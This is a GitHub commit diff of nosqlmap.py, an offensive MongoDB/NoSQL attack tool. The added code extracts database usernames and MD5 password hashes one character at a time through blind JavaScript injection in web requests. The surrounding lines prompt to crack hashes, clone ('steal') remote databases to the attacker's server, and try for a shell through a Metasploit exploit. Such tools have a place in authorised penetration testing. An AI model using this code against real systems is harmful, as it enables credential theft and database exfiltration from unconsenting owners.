Skip to content

Commit ae0ea27

Browse files
committed
Extract usernames and password hashes, KeyboardInterrupt Handling
1 parent 00ab192 commit ae0ea27

File tree

1 file changed

+79
-49
lines changed

1 file changed

+79
-49
lines changed

nosqlmap.py

Lines changed: 79 additions & 49 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,7 @@
2626
import json
2727
import gridfs
2828
import ipcalc
29+
import signal
2930
from hashlib import md5
3031

3132
#Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu.
@@ -240,10 +241,6 @@ def options():
240241
print "\nShell/DB listener set to " + myIP + "\n"
241242
optionSet[4] = True
242243
options()
243-
#myIP = raw_input("Enter host IP for my Mongo/Shells: ")
244-
#print "Shell IP set to " + myIP + "\n"
245-
#optionSet[4] = True
246-
#options()
247244

248245
elif select == "6":
249246
myPort = raw_input("Enter TCP listener for shells: ")
@@ -345,7 +342,7 @@ def netAttacks(target):
345342
#This is a global for future use with other modules; may change
346343
global dbList
347344

348-
srvNeedCreds = raw_input("Does the database server need credentials? ")
345+
srvNeedCreds = raw_input("Does the database server need credentials (y/n)? ")
349346

350347
if srvNeedCreds == "n" or srvNeedCreds == "N":
351348

@@ -378,7 +375,7 @@ def netAttacks(target):
378375
mgtRespCode = urllib.urlopen(mgtUrl).getcode()
379376
if mgtRespCode == 200:
380377
print "MongoDB web management open at " + mgtUrl + ". No authentication required!"
381-
testRest = raw_input("Start tests for REST Interface? ")
378+
testRest = raw_input("Start tests for REST Interface (y/n)? ")
382379

383380
if testRest == "y" or testRest == "Y":
384381
restUrl = mgtUrl + "/listDatabases?text=1"
@@ -443,7 +440,7 @@ def netAttacks(target):
443440
print "Username: " + users[x]['user']
444441
print "Hash: " + users[x]['pwd']
445442
print "\n"
446-
crack = raw_input("Crack this hash? ")
443+
crack = raw_input("Crack this hash (y/n)? ")
447444

448445
if crack == "y":
449446
brute_pass(users[x]['user'],users[x]['pwd'])
@@ -454,7 +451,7 @@ def netAttacks(target):
454451
print "\n"
455452
#Start GridFS enumeration
456453

457-
testGrid = raw_input("Check for GridFS? ")
454+
testGrid = raw_input("Check for GridFS (y/n)? ")
458455

459456
if testGrid == "y" or testGrid == "Y":
460457
for dbItem in dbList:
@@ -469,12 +466,12 @@ def netAttacks(target):
469466
except:
470467
print "GridFS not enabled on " + str(dbItem) + "."
471468

472-
stealDB = raw_input("Steal a database? (Requires your own Mongo instance): ")
469+
stealDB = raw_input("Steal a database (y/n-Requires your own Mongo server)?: ")
473470

474471
if stealDB == "y" or stealDB == "Y":
475472
stealDBs (myIP)
476473

477-
getShell = raw_input("Try to get a shell? (Requrires mongoDB <2.2.4)? ")
474+
getShell = raw_input("Try to get a shell? (y/n-Requrires mongoDB <2.2.4)? ")
478475

479476
if getShell == "y" or getShell == "Y":
480477
#Launch Metasploit exploit
@@ -713,7 +710,7 @@ def webApps():
713710
possAddrs.append(uriArray[9])
714711

715712
print "\n"
716-
doTimeAttack = raw_input("Start timing based tests? ")
713+
doTimeAttack = raw_input("Start timing based tests (y/n)? ")
717714

718715
if doTimeAttack == "y" or doTimeAttack == "Y":
719716
print "Starting Javascript string escape time based injection..."
@@ -777,7 +774,7 @@ def webApps():
777774
else:
778775
print "Integer attack-Unsuccessful"
779776

780-
fileOut = raw_input("Save results to file? ")
777+
fileOut = raw_input("Save results to file (y/n)? ")
781778

782779
if fileOut == "y" or fileOut == "Y":
783780
savePath = raw_input("Enter output file name: ")
@@ -809,7 +806,7 @@ def webApps():
809806
def webDBAttacks(trueLen):
810807
nameLen = 0
811808
injTestLen = 0
812-
getDBName = raw_input("Get database name? ")
809+
getDBName = raw_input("Get database name (y/n)? ")
813810

814811
if getDBName == "y" or getDBName == "Y":
815812
while injTestLen != trueLen:
@@ -987,7 +984,7 @@ def stealDBs(myDB):
987984

988985
try:
989986
#Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
990-
dbNeedCreds = raw_input("Does this database require credentials? ")
987+
dbNeedCreds = raw_input("Does this database require credentials (y/n)? ")
991988

992989
if dbNeedCreds == "n" or dbNeedCreds == "N":
993990
myDBConn = pymongo.MongoClient(myDB,27017)
@@ -1002,7 +999,7 @@ def stealDBs(myDB):
1002999
raw_input("Invalid Selection. Press enter to continue.")
10031000
stealDBs(myDB)
10041001

1005-
cloneAnother = raw_input("Database cloned. Copy another? ")
1002+
cloneAnother = raw_input("Database cloned. Copy another (y/n)? ")
10061003

10071004
if cloneAnother == "y" or cloneAnother == "Y":
10081005
stealDBs(myDB)
@@ -1144,7 +1141,10 @@ def getDBInfo():
11441141
charCounter = 0
11451142
nameCounter = 0
11461143
usrCount = 0
1147-
usrRetr = 0
1144+
retrUsers = 0
1145+
users = []
1146+
hashes = []
1147+
11481148
chars = string.ascii_letters + string.digits
11491149
print "Getting baseline True query return size..."
11501150
trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&")
@@ -1191,7 +1191,7 @@ def getDBInfo():
11911191
charCounter += 1
11921192
print "\n"
11931193

1194-
getUserInf = raw_input("Get database users and password hashes? ")
1194+
getUserInf = raw_input("Get database users and password hashes (y/n)? ")
11951195

11961196
if getUserInf == "y" or getUserInf == "Y":
11971197
charCounter = 0
@@ -1208,45 +1208,75 @@ def getDBInfo():
12081208
else:
12091209
usrCount += 1
12101210

1211-
print "User:password hash"
1212-
while usrRetr < usrCount:
1213-
while gotUserCnt == False:
1214-
#first solve for the first user in the DB
1215-
#figure out how long the username is
1216-
usrLenUri = uriArray[16].replace("---", "cur=db.system.users.findOne();uname=cur.user; if (uname.length==" + str(charCounter) + "){return true;}var dum = 'a" + "&")
1217-
lenUri = int(len(urllib.urlopen(usrLenUri).read()))
1218-
1219-
if lenUri == baseLen:
1220-
print "First username is" + str(charCounter) + "characters."
1221-
gotUserCnt = True
1222-
1223-
else:
1224-
charCounter += 1
1211+
usrChars = 0 #total number of characters in username
1212+
charCounterUsr = 0 #position in the character array-Username
1213+
rightCharsUsr = 0 #number of correct characters-Username
1214+
rightCharsHash = 0 #number of correct characters-hash
1215+
charCounterHash = 0
1216+
username = ""
1217+
pwdHash = ""
1218+
charCountUsr = False
1219+
query = "{}"
1220+
1221+
while retrUsers < usrCount:
1222+
if retrUsers == 0:
1223+
while charCountUsr == False:
1224+
#different query to get the first user vs. others
1225+
usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&")
1226+
lenUri = int(len(urllib.urlopen(usrUri).read()))
12251227

1226-
1227-
while finUser == False:
1228-
charUri = uriArray[16].replace("---","var cur = db.system.users.findOne(); if (cur.user.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } vardum='a" + "&")
1229-
#print "Debug: " + charUri
1230-
1231-
lenUri = int(len(urllib.urlopen(charUri).read()))
1232-
#print "debug: " + str(charCounter)
1233-
#print "Debug length: " + str(lenUri)
1234-
1235-
if lenUri == baseLen:
1236-
uName = uName + chars[charCounter]
1237-
print chars[charCounter],
1238-
nameCounter += 1
1239-
charCounter = 0
1240-
1241-
if nameCounter == curLen:
1242-
finUser = True
1228+
if lenUri == baseLen:
1229+
#Got the right number of characters
1230+
charCountUsr = True
1231+
1232+
else:
1233+
usrChars += 1
1234+
1235+
while rightCharsUsr < usrChars:
1236+
usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } vardum='a" + "&")
1237+
lenUri = int(len(urllib.urlopen(usrUri).read()))
1238+
1239+
if lenUri == baseLen:
1240+
username = username + chars[charCounterUsr]
1241+
#print username
1242+
rightCharsUsr += 1
1243+
charCounterUsr = 0
12431244

1245+
else:
1246+
charCounterUsr += 1
1247+
1248+
retrUsers += 1
1249+
users.append(username)
1250+
#print str(retrUsers)
1251+
#print str(users)
1252+
1253+
while rightCharsHash < 32: #Hash length is static
1254+
hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } vardum='a" + "&")
1255+
lenUri = int(len(urllib.urlopen(hashUri).read()))
1256+
1257+
if lenUri == baseLen:
1258+
pwdHash = pwdHash + chars[charCounterHash]
1259+
#print pwdHash
1260+
rightCharsHash += 1
1261+
charCounterHash = 0
1262+
1263+
else:
1264+
charCounterHash += 1
1265+
1266+
hashes.append(pwdHash)
1267+
print "Got user:hash " + users[0] + ":" + hashes[0]
1268+
12441269
else:
1245-
charCounter += 1
1270+
print "more users go here."
12461271

12471272

12481273

12491274

12501275
raw_input("Press enter to continue...")
12511276

1277+
def signal_handler(signal, frame):
1278+
print "\n"
1279+
print "CTRL+C detected. Exiting."
1280+
sys.exit(0)
1281+
signal.signal(signal.SIGINT, signal_handler)
12521282
mainMenu()

0 commit comments

Comments
 (0)